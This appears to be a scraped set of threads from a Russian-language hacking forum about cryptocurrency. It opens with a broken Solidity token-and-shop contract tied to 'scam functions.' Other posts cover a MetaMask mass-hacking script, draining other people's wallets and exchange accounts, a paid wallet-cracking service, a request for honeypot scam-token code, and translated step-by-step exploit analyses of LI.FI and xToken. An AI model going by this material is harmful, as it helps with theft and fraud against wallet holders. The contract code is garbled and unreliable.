    modifier enoughTokens(address _from, uint _amount) {   // проверка того что на балансе для списания есть $$
        require(balanceOf(_from) >= _amount, "not enough tokens!");
        _;
    }

    modifier onlyOwner() {                              //проверка собственности
        require(msg.sender == owner, "not an owner!");
        _;
    }

    constructor (string memory name_, string memory symbol_, uint initialSupply, address shop) { //имя, символ, сколько токенов изначально введено в оборот, адресс магазина по распространению токенов
        _name = name_;            //
        _symbol = symbol_;
        owner = msg.sender;
    }

    function balanceOf(address account) public view returns(uint){
        return balances[account]; //возвращает баланс аккаунта
    }
    function transfer(address to, uint amount) external enoughTokens(msg.sender, amount) { // перевод с кошелька инициатора транзакции to  на другой кошелек с проверкой есть ли $$
        _beforeTokenTransfer(msg.sender, to, amount); // проверка правильности адресов и колличества
        balances[msg.sender] -= amount; // забрал у себя
        balances[to] += amount;  // добавил получателя
        emit Transfer(msg.sender, to, amount); //инициализация события перевода $$
    }
    
    function mint( uint amount, address shop) public onlyOwner {  // ввод токенов в оборот и зачисление на адресс
        _beforeTokenTransfer(address(0), shop, amount);
        balances[shop] += amount; //на баланс магазина добавить amount токенов
        totalTokens += amount;  //контрлируем добавление токенов к вообщеначисленным токенам
        emit Transfer(address(0), shop, amount);  //порождение события отправки токенов на нулевого адреса в магазин в колличестве amount
    }

    function burn(address _from, uint amount) public onlyOwner enoughTokens(_from, amount) { // "сжигаем" лишние токены
        _beforeTokenTransfer(_from, address(0), amount);
        balances[_from] -= amount;
        totalTokens -= amount;
    }
    function allowance(address _owner, address spender) public view returns(uint){  //проверка может ли сторонний аккаунт списать $$ в свою пользу без моего разрешения
         return allowances[_owner][spender];
    }
    function approve (address spender, uint amount) public {  //кому и сколько я разрешаю забирать токенов
        _approve(msg.sender, spender, amount);
    }
    function _approve(address sender, address spender, amount) internal virtual { 
        allowances[sender][spender] = amount;
        emit Approve(sender, spender, amount); //порождение собыия Approve
    }

    function transferFrom(address sender, address recipient, uint amount ) external enoughTokens(sender, amount) { // функция забирает из sender отдает в recipient, проверка если ли у sender $$
        _beforeTokenTransfer(sender, recipient, amount);
        require(allowances[sender][recipient]) >= amount, "check allowance!");  // что у sender больше $$ чем amount, т.к. транзакция слетит если вернется отрицательное значение , потому что переменная uint -беззнаковая
        allowances[sender][recipient] -= amount;
        balances[sender] -= amount;
        balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    }
// ниже написана функция выполняющаяся до перевода $$ для наибольше безопасности
    function _beforeTokenTransfer(
        address from,   //адрес откуда
        address to,     //адрес куда
        uint amount     // сколько
    ) internal virtual {}   //virtual используется для переопределения функции ниже по иерархии
}
// создаем новый контракт магазина youName
contract youName is ERC20 {
    constructor(address shop) ERC20 ("ERC20","ERC20", 100500100155, shop) { //обращается к конструктору в родительском контракте и передает ему значения
    }
contract youNameShop {    // контракт магазина токенов
    IERC20 public token;       // описывает взаимодействие с интерфейсом IERC20.sol
    address payable public owner;   // платежеспособный адрес собственника
    event Bought(uint _amount, address indexed _buyer); // событие покупки содержит сколько и адрес покупателя
    event Sold( uint _amount, address indexed _seller); // событие продажи, сколько и адрес продавца

    constructor(){
        token = new youName(address(this)); // new - операция развертывания стороннего смарт-контракта, по адресу нашего магазина (this)
        owner = payable(msg.sender); //делаем адресс owner сразу способным получать/переводить денюшку
    }   
    modifier onlyOwner() {                              //проверка собственности, только владелец может выводить деньги
        require(msg.sender == owner, "not an owner!");
        _;
    }
    function sell (uint _amountToSell) external {  // функция продажи токена
        require(
            _amountToSell > 0 &&   // проверка наличия токенов так как  totalTokens может закончится
            token.balanceOf(msg.sender) >= _amountToSell, "incorrect amount" // проверка наличия у покупателя средств для покупки запрашиваемого количества токенов
        );
        uint allowance = token.allowance(msg.sender, address(this)); 
        require(allowance >= _amountToSell, "check allowance!");      // проверка того что покупатель разрешил списать $$ с его счёта
        token.transferFrom(msg.sender. address(this), amountToSell); // при прохождении проверки магазан забирает оплату от покупателя
        payable(msg.sender).transfer(_amountToSell) // передача продавцу токенов его $$
        emit Sold(_amountToSell, msg.sender);  // событие продажи в количестве и кем продано
    }
    
    receive() external payable { // fallback - функция, принимающая средства от покупателей, вызывается автоматически если в контракт просто пришли $$ / типа просто перевод без вызова функции покупки/ продажи
        uint tokenToBuy = msg.value; // при покупке 1 token за 1 wai
        require(tokenToBuy > 0, "not enough funds"); // проверка количества покупаемых токенов

        uint currentBalance = tokenBalance(); //чтобы не получилось что токенов к продаже меньше чем токенов хочет покупатель
        require(currentBalance >= tokenToBuy, " not enough tokens!");

        token.transfer(msg.sender, tokenToBuy); // переводим токены тому кто запросил в необходимом колличестве
        emit Bought(tokenToBuy, msg.sender); // породили событие покупки
        
    }
    function tockenBalance() public view returns (uint){ //сколько на счету магазина есть токенов
        return tokenBalanceOf(address(this));   
    }
}

Функции скама в следующих заметках.

Нужна помощь USDT
ID: 67686ad7b4103b69df3798bb
Thread ID: 78740
Created: 2022-12-25T11:26:10+0000
Last Post: 2023-01-21T22:48:13+0000
Author: LindemannV
Replies: 15 Views: 1K

Ребята как с кошелька вывести USDT (TRON) ? мне система пишет что нужна оплата коммисии за транзакцию в bnb а у меня нет , есть ли площадки какие не будьили способы что провести транзакццию вывести usdt

Генерация bip39 мнемоники для взлома MetaMask кошелей с провайдером infura.
ID: 67686ad7b4103b69df3798bf
Thread ID: 71460
Created: 2022-08-10T22:16:08+0000
Last Post: 2023-01-20T15:27:39+0000
Author: madheller404
Replies: 17 Views: 1K

Для "массового взлома" Метамаск кошельков написал скрипт, генерирующий bip39 мнемонику по 12 слов. Для доступа в mainnet использую infura.io. Кошели действительно ломаются, можно входить в аккаунты, но есть одно НО. Скрипт крутился не один день на нескольких потоках, но везде нулевой баланс. Проверено свыше миллиона аккаунтов. Знаю, что шанс найти эфиры очень мал, но кому-то же везет. Подскажите, дело в провайдере или разработчики наконец-то надумали новую систему безопасности?

Вывод средств с биржи через API Реально ?
ID: 67686ad7b4103b69df3798c8
Thread ID: 79015
Created: 2022-12-30T14:38:38+0000
Last Post: 2023-01-06T00:49:51+0000
Author: MangaM
Replies: 20 Views: 1K

Есть ли какие то способы вывести средства с биржи через API если нету разрешения на вывод ?

#2 Деанонимизация транзакций биткоин Part 1
ID: 67686ad7b4103b69df3798cf
Thread ID: 79026
Created: 2022-12-30T16:35:41+0000
Last Post: 2022-12-31T03:40:30+0000
Author: honeyman1
Prefix: Статья
Replies: 2 Views: 1K

#2.jpg

Вас приветствует команда honeyman1. Мы специализируемся в сфере it-крипто, в наши услуги входит: разработка крипто проектов и всевозможных смарт-контрактов на заказ.

Если статья вам понравиться , выложим вторую часть статьи , также пишите в комментариях на какую тему бы хотели увидеть от нас статью!)

В совремнном мире совершается множество кибер-приступлений с использованием биткоин оплаты (отмыв, незаконный оборот, взлом и т д) С момента появления первой криптовалюты у многих людей выработалось мнение, что использование Bitcoin обеспечит полную анонимность платежей и не позволит никому узнать истинного отправителя крипты. Но так ли это? Ответ на этот вопрос вы получите тут.

-С технической точки зрения , криптовалюта представляет собой распределённую, основанную на математических принципах пиринговую виртуальную валюту с открытым исходным кодом, при использовании которой отсутствует централизованный администратор, а также соответствующие контроль и надзор со стороны государственных органов или иных третьих лиц.

Пиринг - соглашение интернет-операторов об обмене трафиком между своими сетями, а также техническое взаимодействие, реализующее данное соглашение: соединение сетей и обмен информацией о сетевых маршрутах по протоколу

Click to expand...

-С юридической точки зрения , криптовалюту можно определить как имущество в электронной форме, созданное с использованием криптографических средств, и учитываемое в распределенном реестре цифровых транзакций в соответствии с установленными правилами его ведения.

Следоветельно криптовалюты имеют существенные отличия от привычных финансовых транзакций. Они не требуют централизованного регулятора или эмитента. При этом все транзакции криптовалюты публичны и отражаются в специальном реестре - блокчейне. При этом в блокчейне отсутствуют данные о фактическом владельце того или иного криптовалютного кошелька. Он анонимен, а еще имеет фактически возможность создавать неограниченное число уникальных адресов к кошельку.

Существующая методология деанонимизации транзакций криптовалюты предполагает отслеживание всей цепочки их совершения от момента проведения изучаемого платежа и до предполагаемого обмена криптовалюты на «фиатные деньги» через криптовалютные биржи, в обменнике или банкомате.

Для сбора данных о криптокошельках и отслеживания их транзакций можно использовать обозреватели блокчейна:

В обозревателях хранится следующая информация о совершенных транзакциях:

  1. дата и время совершения транзакции
  2. адреса криптовалютных кошельков отправителя и получателя
  3. количество переводимой криптовалюты
  4. гонорар за осуществление транзакции и хэш (служащий доказательством транзакции и используется для её проверки)

-К недостаткам таких обозревателей относятся: отсутствие встроенных систем визуального представления и анализа транзакций, невозможность постановки криптокошелька на контроль (отслеживание), а также невозможность автоматического отнесения изучаемых криптокошельков к известным сущностям (лицам, проектам, биржам, миксерам и т.п.).
Частично эти недостатки можно нивелировать за счет использования бесплатного программного обеспечения. Так визуальное представление криптовалютных транзакций можно организовать при помощи сервисов:

Мои актуальные контакты по поводу наших продуктов и других вопросов: ТГ @hоneyman1.

Всё о кошельках: Плюсы и Минусы. Безопасное хранение.
ID: 67686ad7b4103b69df3798d0
Thread ID: 68427
Created: 2022-06-10T02:05:16+0000
Last Post: 2022-12-30T17:36:18+0000
Author: ordinaria1
Replies: 14 Views: 1K

Доброго времени, эта статья в большинстве для начинающих, для тех у кого есть вопросы на счёт хранения криптовалюты.

Я буду расписывать как и где можно хранить различную крипту и как сделать хранение безопаснее, что бы вы не потеряли сиды и пароли или вас не взломали/забанили.
Распишу сначала про наиболее популярные программные кошельки.
Далее про биржи и холодные кошельки.

Начнём с "первой" крипты - Bitcoin ![](/proxy.php?image=https%3A%2F%2Fexternal- content.duckduckgo.com%2Fip3%2Fbitcoin.org.ico&hash=1cc45781de775f53023e638509b8935b)

Кошельки:
1. Bitcoin Core ![](/proxy.php?image=https%3A%2F%2Fexternal- content.duckduckgo.com%2Fip3%2Fbitcoin.org.ico&hash=1cc45781de775f53023e638509b8935b)
Вручную настраиваемая комиссия
Есть поддержка холодных кошельков, 2FA нет
Адреса Legacy & Segwit
Децентрализованный
Поддержка: Linux, Windows, OSX
Открытый исходный код (?)
Долго устанавливается

2. Electrum ![](/proxy.php?image=https%3A%2F%2Fexternal- content.duckduckgo.com%2Fip3%2Felectrum.org.ico&hash=d0f62581ebac328e1263f953f056ae81)
Вручную настраиваемая комиссия
Удобно пользоваться если вы часто делаете транзакции
Есть поддержка 2FA и холодных кошельков
Адреса Legacy & Segwit
Децентрализованный
Поддержка: Linux, Windows, OSX, Android, можно пользоваться через Python
Открытый исходный код (?)

3. Exodus ![](/proxy.php?image=https%3A%2F%2Fexternal- content.duckduckgo.com%2Fip3%2Fwww.exodus.com.ico&hash=ecf9c2fe6da58f4a8d0874ec7d3d2682)
Нельзя полностью настроить свою комиссию
Есть минимумы для отправки
Адреса Legacy & Segwit
Поддержка множества токенов и монет, NFT в сети SOL
Встроенный обмен криптовалюты (не используйте на большие суммы если не хотите потерять деньги) (?) (?)
НЕ Децентрализованный
Нет поддержки 2FA, есть поддержка Trezor холодных кошельков
Поддержка: Linux, Windows, OSX, Android, IOS
Закрытый исходный код ([?](https://support.exodus.com/article/89-is-exodus- open-source))
Есть вероятность что ваши монеты украдут или изымут, заблокируют(во время обмена) (?)

4. Wasabi Wallet wassabee.png
Вручную настраиваемая комиссия
Нет поддержки 2FA, есть поддержка холодных кошельков
Встроенный миксер
Адреса Segwit
Децентрализованный
Поддержка: OSX, Linux, Windows
Открытый исходный код (?)

5. Trust Wallet ![](/proxy.php?image=https%3A%2F%2Fexternal- content.duckduckgo.com%2Fip3%2Ftrustwallet.com.ico&hash=76418d04fdc289b33405aacb10e014f7)
Нельзя полностью настроить свою комиссию
Адреса Segwit
Децентрализованный
Поддержка множества токенов и монет, NFT в сети ETH
Встроенный обмен криптовалюты
Поддержка: Android, IOS
Открытый исходный код (?)

6. Samourai ![](/proxy.php?image=https%3A%2F%2Fexternal- content.duckduckgo.com%2Fiu%2F%3Fu%3Dhttps%253A%252F%252Fwww.buybitcoinworldwide.com%252Fimg%252Fwallets%252Fsamourai.png%26f%3D1%26nofb%3D1&hash=2d4c73617f75f41d81893d8c72dc6da0)
Вручную настраиваемая комиссия
Адреса Legacy & Segwit
Децентрализованный
Нет поддержки 2FA и холодных кошельков
Встроенный миксер
Поддержка: Android
Открытый исходный код (?)

Холодные аппаратные кошельки (Trezor, Ledger).
Я бы не рекомендовал вам использовать аппаратный холодный кошелёк. (имхо)

Может быть, у вас уже есть какой нибудь аппаратный кошелек от Trezor, Ledger (или другой) и вы храните все свои средства именно на нём ибо "Он же аппаратный, как его могут взломать если он ни к чему не подключен?"
Злоумышленники могут ждать годами и иногда десятилетиями. В один момент все ваши средства могут отправиться на чужой адрес, особенно если вы покупали аппарат с Авито, Юла, ОЛХ, Ебей и т.д.
Даже если допустим с DNS или Мвидео, сотрудники могут его прошить сами. И ждать. ~~Ваши~~ битки.
Если вы собрались покупать аппаратный кошелек, покупайте ТОЛЬКО на официальных ресурсах!

Криптовалютные биржи.

Бирж сейчас немеренно, DEX, CEX, африканские и американские. Я не советую вам хранить средства на биржах!
Биржу могут ограбить (взломать)
Биржа может вас постричь и заблочить (забрать средства себе)
Биржа вас выдаст в любом случае

Второе место - Monero ![](/proxy.php?image=https%3A%2F%2Fexternal- content.duckduckgo.com%2Fip3%2Fwww.getmonero.org.ico&hash=f83af64fea262dbf90b07b23f3de4586)

1. Monero GUI/CLI
Нет поддержки 2FA, есть поддержка холодных кошельков
Поддержка: OSX, Linux, Windows
Открытый исходный код (?)
Можно свои ноды
Клиент лучше других альтернатив, официальный

Как и где хранить?

Лучший способ безопасно схоронить кошелек - зашифрованная чистая виртуальная машина (в идеале на Linux). Во всех выше клиентах (с поддержкой Linux) поддерживается Tor. Кроме Exodus, конечно (очень троит как не в себя).
Хотите с Tor? Whonix. А лучше другой чистый дистрибутив, а от Whonix использовать только гейт.

В таком случае стиллер хотя бы не захватит файл кошелька и злоумышленник не будет пытаться подобрать пароль.
НЕ храните секретную фразу или пароль в избранных в Telegram или у себя в галерее и в "easy600btc.txt" на раб. столе! Стиллер/граббер может украсть файл/зайти в акк/посмотреть медиа с потерянного телефона, а потом и ваши средства.

Где хранить пароли?
Фразы и пароль на бумажке, а лучше на двух или трех листках. Пароль от виртуальной машины можно хранить в текстовике без подписей или с лишним символом в начале))

"Я на острове, хочу купить кокосы, а кош на виртуальной машине за 3000км от меня!!"
Восстанавливаете с помощью фразы.
"Я взял с собой листки на остров и они упали в воду, как купить кокосы?"

![privacypros.io](/proxy.php?image=https%3A%2F%2Fprivacypros.io%2Fimages%2Fproducts%2Fthe- billfodl%2Fbillfodl-the-one-and-only- billfodl.png&hash=556f80ee3c2f612caf81262da70374c8&return_error=1)

[ Billfodl: The Only Scientifically Tested Recovery Seed Backup

](https://privacypros.io/products/the-billfodl/)

Looking for an alternative to Cryptosteel at a fraction of the price, yet capable of supporting ALL private key/seed types? You need the water-proof, fire-proof, shock-proof, & hacker-proof Billfodl. Our marine-grade 316 stainless steel makes Billfodl the safest, most affordable, and most...

privacypros.io privacypros.io

![cryptosteel.com](/proxy.php?image=https%3A%2F%2Fcryptosteel.com%2Fwp- content%2Fuploads%2F2024%2F04%2Fcapsule- duo.webp&hash=612383db89af34993b0740a42128a9f9&return_error=1)

[ Cryptosteel Capsule Duo • Cryptosteel.com

](https://cryptosteel.com/product/cryptosteel-capsule/)

Cryptosteel Capsule Duo • buy on Cryptosteel.com. When it comes to the security of your sensitive data, redundancy is a positive. Back-up your backup with Cryptosteel Capsule Duo.

![cryptosteel.com](/proxy.php?image=https%3A%2F%2Fcryptosteel.com%2Fwp- content%2Fuploads%2F2024%2F03%2FCryptosteelLogo.webp&hash=1bc50e06b13d8ad65283f36d1a6c7fef&return_error=1) cryptosteel.com

/threads/68409/post-463371
Такая капсула надежнее чем бумага, так что выдержит и воду и огонь)

😄
Буду дополнять

Как вывести USDT ERC20 из под авто обмена?
ID: 67686ad7b4103b69df3798d1
Thread ID: 78735
Created: 2022-12-25T09:37:27+0000
Last Post: 2022-12-29T01:55:02+0000
Author: dagnis_lastovskis
Replies: 27 Views: 1K

Есть сид фраза кошелька с балансом в USDT. Посмотрев историю транзакций понял что на этом кошельке стоит скрипт автовывода.

LI.FI : уязвимость кроссчейн-моста? Нет, это из-за непроверенного внешнего вызова!
ID: 67686ad7b4103b69df37992b
Thread ID: 70816
Created: 2022-07-29T07:36:03+0000
Last Post: 2022-07-29T07:36:03+0000
Author: вавилонец
Prefix: Статья
Replies: 0 Views: 1K

[Оригинальная статья](https://blocksecteam.medium.com/li-fi-attack-a-cross- chain-bridge-vulnerability-no-its-due-to-unchecked-external-call-c31e7dadf60f)
Переведено специяльно для XSS.IS
Камнями кидать в Jolah Milovski

Согласно [отчету ](https://medium.com/lifinance/20th-march-the- exploit-e9e1c5c03eb9)проект Даниэля фон Фанге LI.FI подвергся атаке 20 марта 2022 года. Поскольку подробный технический анализ этой уязвимости отсутствует, далее мы анализируем атаку. Мы обнаружили, что основной причиной этой атаки является непроверенный внешний вызов.

Транзакция атаки​

Мы начали с транзакции атаки, чтобы проиллюстрировать процесс атаки. На следующем снимке экрана показан результат работы нашей системы визуализации транзакций .
1659079525050.png

Как показано на рисунке выше, весь процесс атаки довольно прост, в нем не используются вредоносные смарт-контракты и не задействован флэш-кредит. Единственный шаг, который выполнил злоумышленник, — это вызов swapAndStartBridgeTokensViaCBridge(0x01c0a31a)
CBridgeFacet контракт , который передает различные токены (например, USDC, MATIC, RPL, GNO, USDT, MVI, AUDIO, AAVE, JRT и DAI) к EOA , контролируемому злоумышленником.

Анализ кода​

Углубимся в код логику контракта.

1659079798666.png

1659079827243.png

Согласно приведенному выше коду, swapAndStartBridgeTokensViaCBridge является входом межцепочечной передачи в исходной цепочке.

1659079876498.png

Проект LIFI утверждает, что он может найти "лучший маршрут" для пользователей, названный Smart Routing, который происходит вне цепочки. В частности, внешний сайт рассчитывает оптимальный маршрут и кодирует параметры (включая своп- контракт и путь маршрутизации) в параметры функции swapAndStartBridgeTokensViaCBridge.
Очевидно, что проект LIFI не учитывает, что функция может быть вызвана любыми аккаунтами на блокчейне, поскольку функция не выполняет никаких проверок параметров, таких как белый список и проскальзывание свопа. Наиболее серьезной частью является то, что контракт CBridgeFacet требует от пользователей одобрения токенов, что подвергает риску деньги пользователей.

По итогу

Злоумышленник крадет деньги пользователей LIFI, которые одобрили свои токены для контракта CBridgeFacet, вызывая функцию swapAnStartBridgeTokensViaCBridge, которая затем вызывает функции transferFrom различных токенов. Статистика потерь приведена в таблице ниже. Общие потери составляют около $596K, что практически совпадает со статистикой проекта LIFI.

1659080034673.png

ВЫвод​

Этот LIFI является агрегатором кроссчейн-моста, а контракт жертвы является входом в межсетевой перевод. Уязвимость не связана со сложной логикой межсетевого взаимодействия, которая была показана в предыдущих инцидентах безопасности в межцепочном мосту. Вместо этого основной причиной этой атаки является непроверенный внешний вызов, который является одной из 10 самых распространенных проблем в надежности.

Обзор исправлений двойной инициализации xToken
ID: 67686ad7b4103b69df37992c
Thread ID: 70814
Created: 2022-07-29T07:19:03+0000
Last Post: 2022-07-29T07:19:03+0000
Author: вавилонец
Prefix: Статья
Replies: 0 Views: 1K

[Оригинальная статья](https://medium.com/@danielcohenhillel/xtoken-double- initialize-bugfix-review-af332e71c2ea)
Переведено специяльно для XSS.IS
Камнями кидать в Jolah Milovski

TLDR: мы обнаружили 3 уязвимости в смарт-контрактах xToken.​

  1. Кража нераспределенных токенов вознаграждения (двойная инициализация)
  2. Кража средств xToken-Terminal (инициализация повторного входа)
  3. Временно заморозить невостребованный доход пользователей (что не будет объяснено в этой статье).

Их мы и отправили в программу bug bounty xToken на Immunefi . Первая ошибка, которая позволила бы злоумышленнику украсть нераспределенные токены, получила критический рейтинг серьезности и была исправлена командой xToken.

Анализ уязвимостей ​

xToken Terminal — это инфраструктура добычи ликвидности для Uniswap V3, которая позволяет развертывать поощрительные пулы.

Рассмотрим следующие контракты:

Ошибка 1: двойная инициализация ​

Чтобы сделать пул CLR обновляемым, для доступа к нему используется прозрачный прокси-сервер. CLRProxy, который делегирует вызовы пулу CLR. При просмотре прокси мы обнаружили кое-что очень интересное:

Code:Copy to clipboard

contract CLRProxy is TransparentUpgradeableProxy {
    ICLRDeployer clrDeployer;
    ...
}

Прокси имеет переменную состояния, расположенную в слоте 0.
Поскольку прокси делегирует вызовы пулу CLR, они разделяют пространство памяти, а это означает, что слот 0 пула CLR столкнется с переменной clrDeployer. Но что находится в слоте 0 пула CLR? И как, черт возьми, контракт работает без ошибок?
Исследуя контракт CLR дальше, мы обнаружили, что слот 0 контракта CLR происходит от первого контракта, который он наследует, а это контракт Initializable.

Code:Copy to clipboard

abstract contract Initializable {
    bool private _initialized;

    bool private _initializing;
    
    ...
}

Это означает, что переменная clrDeployer сталкивается с _initialized и _initializing! Но каковы будут последствия этого столкновения? Контракт Initializeable работает с использованием модификатора initializer, который при действии на функции делает их вызываемыми только один раз.

Code:Copy to clipboard

abstract contract Initializable {
    ...
    
    modifier initializer() {
        require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");

        bool isTopLevelCall = !_initializing;
        if (isTopLevelCall) {
            _initializing = true;
            _initialized = true;
        }

        _;

        if (isTopLevelCall) {
            _initializing = false;
        }
    }
    
    ...
}

Поскольку _initializing и _initialized будут TRUE с очень высокой вероятностью (они будут практически случайными, а boolean - это всего один байт, и поэтому с вероятностью 99,6% они будут true). Таким образом, оператор require пройдет, а isTopLevelCall будет false. Следовательно, модификатор всегда будет проходить и вообще не изменит состояние контракта. Итак, мы можем вызывать функцию initialize столько раз, сколько захотим! Путь от вызова initialize до кражи всех средств в CLR довольно прост. Она вызывает функцию safeIncreaseAllowance на аргументах, предоставленных злоумышленником. Мы можем просто увеличить наше разрешение, чтобы иметь возможность украсть все токены в пуле.

Ошибка 2: Инициализация реентерабельности (вне области применения)

Мы исследовали контракт LMTerminal и ~~охуели~~ встревожились:

Code:Copy to clipboard

contract LMTerminal is Initializable, OwnableUpgradeable, PausableUpgradeable {
  // ...
 
  function deployIncentivizedPool(...) external payable {
    // ..
 
    // Deploy CLR
    ICLR clrPool = ICLR(clrDeployer.deployCLRPool(proxyAdmin));
    
    // ...
    
    // Initialize CLR
    clrPool.initialize(...);

    // Approve tokens to clr pool
    IERC20(pool.token0).safeApprove(address(clrPool), type(uint256).max);
    IERC20(pool.token1).safeApprove(address(clrPool), type(uint256).max);
    
     // Transfer initial mint tokens to Terminal
    IERC20(pool.token0).safeTransferFrom(
        msg.sender,
        address(this),
        pool.amount0
    );
    IERC20(pool.token1).safeTransferFrom(
        msg.sender,
        address(this),
        pool.amount1
    );

    // ...
    
    // Create Uniswap V3 Position, seed with initial liquidity
    clrPool.mintInitial(pool.amount0, pool.amount1, msg.sender);
    
    // ...
  }
 
  // ...
}

Он разрешает пулу CLR использовать все свои средства! Может быть, мы можем заставить пул CLR воровать токены у LMTerminal?
Чтобы дать нам больше контроля над пулом CLR, мы можем развернуть наполовину злонамеренный пул с одним настоящим токеном (который мы хотим украсть) и одним фальшивым токеном, который мы контролируем. Но что мы можем сделать с этим контролем? Снова взглянув на модификатор инициализатора, мы замечаем нечто странное:

Code:Copy to clipboard

abstract contract Initializable {
    ...
    
    modifier initializer() {
        require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");

        bool isTopLevelCall = !_initializing;
        if (isTopLevelCall) {
            _initializing = true;
            _initialized = true;
        }

        _;

        if (isTopLevelCall) {
            _initializing = false;
        }
    }
    
    ...
}

Он допускает реентерабельность! Внутри initialize он вызывает функции нашего вредоносного токена, и таким образом мы можем вызвать initialize снова из initialize, с аргументами, контролируемыми злоумышленником.

1659078787749.png

Теперь мы можем вызывать initialize с любым аргументом, который нам нужен.

Итак, давайте вспомним, что мы имеем:

SafeApproves передает все свои средства в пул CLR.
Мы управляем аргументами инициализации пула CLR.

Итак, чтобы украсть средства, нам нужно перевести средства терминала в пул CLR, а затем перевести их из пула CLR к нам.
Вторая часть проста. Функция initialize вызывает функцию safeIncreaseAllowance на аргументах, предоставленных злоумышленником.
Первая часть немного сложнее. Причина, по которой терминал safeApproves использует все свои средства, заключается в том, что mintInitial должен использовать некоторые из своих средств. Чтобы использовать это, мы можем поменять вредоносный токен на настоящий токен. И тогда мы сможем получить больше токенов, чем то количество, которое мы отправили.

1659078869308.png

Пошагово атака выглядит следующим образом:

Атакующий вызывает deployIncentivizedPool для создания нового пула CLR.

→ Новый пул будет содержать два токена: настоящий токен, который мы хотим украсть, и поддельный токен.
→ Мы даем много поддельных токенов, но мало настоящих. a.k.a pool.amount0<pool.amount1 (настоящий токен равен 0, а поддельный - 1).

2. Наш фальшивый токен вызывает функцию initialize во второй раз. Аргументы CLR контролируются нами, и мы будем использовать их для переключения токенов и увеличения нашего запаса.
3. Вызывается функция mintInital, которая передаст в пул CLR много настоящих токенов (но несколько фальшивых).
4. Поскольку CLR-пул выдал нам разрешение, мы можем перевести все настоящие токены к нам.

Как это было:

Обзор уязвимостей криптовалютных бирж
ID: 67686ad7b4103b69df3798d3
Thread ID: 78741
Created: 2022-12-25T11:41:28+0000
Last Post: 2022-12-27T05:32:06+0000
Author: вавилонец
Prefix: Статья
Replies: 3 Views: 1K

[ОРИГИНАЛЬНАЯ СТАТЬЯ](https://drive.google.com/file/d/1CMO3NuhN8cJM1d38kaRdrCMFg- _uEail/view)
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ XSS.IS
$600 ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов

Криптовалютные биржы бывают двух типов DEX и CEX, децентрализованные и централизованные соответственно. Существуют два вида криптокошельков HOT и COLD. "Холодные" и "горячие" соответственно. Все биржевые кошельки - горячие, но тоже делятся на типы Exchange Wallet - кошелек, используемый для торговли без левереджа, Fundin - кредитор предоставляет средства; заемщик резервирует/принимает средства, и др.
-1.translated.jpg

1.translated.jpg

2.translated.jpg

3,5.translated.jpg

3.png

4.png

5.translated.jpg
6.translated.jpg
7.png

8.translated.jpg

9.translated.jpg

10.translated.jpg

11.translated.jpg

12.translated.jpg

13.png

14.png

15.png

16.png17.translated.jpg
18.translated.jpg
19.png
20.translated.jpg
21.png
22.translated.jpg
23.png
24.png

имею Wallet dat 7 btc и на 157 btc
ID: 67686ad7b4103b69df3798d5
Thread ID: 78278
Created: 2022-12-16T18:07:00+0000
Last Post: 2022-12-19T18:43:05+0000
Author: shkip
Replies: 16 Views: 1K

Что с ними можно сделать?

вскрою wallet.dat , metamask , electrum и другие кошельки
ID: 67686ad7b4103b69df3798d9
Thread ID: 77628
Created: 2022-12-08T09:15:22+0000
Last Post: 2022-12-18T17:23:48+0000
Author: xcode
Replies: 14 Views: 1K

вскрою wallet.dat , metamask , electrum и другие кошельки
30%

Инвестиции/трейдинг криптовалют.
ID: 67686ad7b4103b69df3798ec
Thread ID: 61701
Created: 2022-01-20T06:34:58+0000
Last Post: 2022-11-06T17:15:56+0000
Author: sv37qR0
Replies: 16 Views: 1K

_Приветствую, Друзья!
Будьте добры, посоветуйте максимально эффективные курсы, книги по инвестициям/трейдингу криптовалют, да и не только криптовалют, пожалуйста.
С чего вы начинали своё обучение?
По какой торговой системе работаете вы?
Очень заинтересовала данная тема, буду очень благодарен за любую информацию.
Заранее огромное, человеческое спасибо!
_

Помогите! Скам токен.
ID: 67686ad7b4103b69df3798f9
Thread ID: 61862
Created: 2022-01-23T17:17:14+0000
Last Post: 2022-10-05T02:59:29+0000
Author: Trixxxter
Replies: 21 Views: 1K

Всем привет. В сети существует такой вид мошенничества как « скам токен» токен который можно купить на Deffi бирже но нельзя продать. Исходный код Смарт контракта гуляет по сети но я его не могу найти. Подскажите пожалуйста может у кого-то есть этот «код Смарт контракта» на сети BSC BEB - 20 ВНИМАНИЕ что бы можно было купить и нельзя продать . Заранее спасибо . Всем добра )

Как устоять когда тянут ковёр
ID: 67686ad7b4103b69df3798fd
Thread ID: 72996
Created: 2022-09-11T01:42:56+0000
Last Post: 2022-09-29T07:49:08+0000
Author: вавилонец
Prefix: Статья
Replies: 1 Views: 1K

[ОРИГИНАЛЬНАЯ СТАТЬЯ](https://harrydenley.com/bad-actors-abusing- blockexplorers-to-trick-you)
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ XSS.IS
$10 на gas для Jolah Molivski ---> 0x69946dD429030F8E74b3B8eB092542d09BdeD3ed

Зачин

В английском лексиконе вытащить коврик (из-под кого-то) означает внезапно лишить важной поддержки (от кого-то). В контексте криптографии и децентрализованных финансов (DeFi) вытягивание означает удаление ликвидности из пула ликвидности децентрализованной биржи (DEX). Это приводит к неминуемому падению продаж поскольку другие поставщики ликвидности, держатели и трейдеры паникуют из-за потери ликвидности. После истощения ликвидности держатели токенов обычно остаются с неликвидными активами, которыми невозможно торговать где-либо еще. Стоит отметить, что многие проекты предприняли меры для снижения рисков, связанных с вытягиванием ковров, путем предоставления определенного уровня ликвидности таким образом, который нельзя удалить (например, сжигание токенов LP, контракт на блокировку ликвидности и т. д.). Тем не менее, это не полностью устраняет риски мошенничества, и участники рынка должны проводить комплексную проверку до начала торговли.

Как злоумышленники могут обмануть вас с помощью обозревателей блоков ​

Службы индексации блокчейна полагаются на [события в контрактах](https://ethereum.org/ig/developers/tutorials/logging-events-smart- contracts/), чтобы помочь архивировать данные и предоставить вам запись о транзакции в удобном пользовательском интерфейсе, обычно называемом «обозревателем блоков», например Etherscan . Контракт со злым умыслом может вести себя как «нормальный», но марать эти события, чтобы обмануть обозреватели блоков и выдать вводящую в заблуждение информацию о том, откуда появился токен, ничего не подозревающим пользователям.

